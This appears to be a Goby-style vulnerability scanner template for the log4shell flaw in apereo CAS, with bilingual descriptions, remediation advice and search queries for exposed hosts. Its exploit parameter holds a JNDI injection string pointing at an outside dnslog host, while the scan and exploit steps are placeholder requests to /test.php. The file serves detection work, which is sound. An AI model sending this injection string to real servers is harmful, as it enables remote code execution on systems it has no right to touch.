{
  "Name": "apereo CAS log4shell RCE vulnerability (CVE-2021-44228)",
  "Description": "<p>apereo CAS is an open source enterprise multilingual single sign-on solution for the Web.</p><p>apereo CAS has a log4shell RCE vulnerability. Attackers can use this vulnerability to execute code on the server side, write backdoors, obtain server permissions, and then control the entire web server.</p>",
  "Product": "apereo CAS",
  "Homepage": "https://github.com/apereo/cas",
  "DisclosureDate": "2021-12-22",
  "Author": "keeeee",
  "FofaQuery": "app=\"apereo-CAS\"",
  "GobyQuery": "app=\"apereo-CAS\"",
  "Level": "3",
  "Impact": "<p>Attackers can use this vulnerability to execute code on the server side, write backdoors, obtain server permissions, and then control the entire web server.</p>",
  "Recommendation": "<p>The supplier has released a solution, please upgrade to the new version:<a href=\"https://apereo.github.io/2021/12/11/log4j-vuln/\" target=\"_blank\">https://apereo.github.io/2021/12/11/log4j-vuln/</a></p><p>1. Deploy a web application firewall to monitor database operations.</p><p>2.If not necessary, prohibit public network access to the system.</p> ",
  "Translation": {
    "CN": {
      
	  "Name": "apereo CAS log4shell 命令执行漏洞（CVE-2021-44228）",
      "Product": "apereo CAS",
      "VulType": [
        "命令执行"
      ],
      "Tags": [
        "命令执行"
      ],
	  "Description": "<p>apereo CAS&nbsp;是一个开源的用于 Web 的企业多语言单点登录解决方案。</p><p><span style=\"color: rgb(22, 51, 102); font-size: 16px;\">apereo CAS 存在&nbsp;log4shell RCE 漏洞。<span style=\"color: rgb(22, 51, 102); font-size: 16px;\">攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。</span></span><br></p>",
      "Impact": "<p>攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。<br></p>",
      "Recommendation": "<p>⼚商已发布了漏洞方案，请及时关注： <a href=\"https://apereo.github.io/2021/12/11/log4j-vuln/\">https://apereo.github.io/2021/12/11/log4j-vuln/</a></p><p>1、通过防⽕墙等安全设备设置访问策略，设置⽩名单访问。</p><p>2、如⾮必要，禁⽌公⽹访问该系统。</p>"
    }
  },
  "References": [
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228",
    "https://nvd.nist.gov/vuln/detail/CVE-2021-44228",
    "https://apereo.github.io/2021/12/11/log4j-vuln/"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "dnslog",
      "type": "input",
      "value": "${jndi:ldap://${hostName}.xxx.dnslog.cn}"
    }
  ],
  "ExpTips": null,
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/test.php",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "test",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "Tags": [
    "rce"
  ],
  "VulType": [
    "rce"
  ],
  "CVEIDs": [
    "CVE-2021-44228"
  ],
  "CVSSScore": "10.0",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "CNNVD": [
    "CNNVD-202112-799"
  ],
  "CNVD": [
    "CNVD-2021-95914"
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/test.php",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "test",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "Is0day": false
}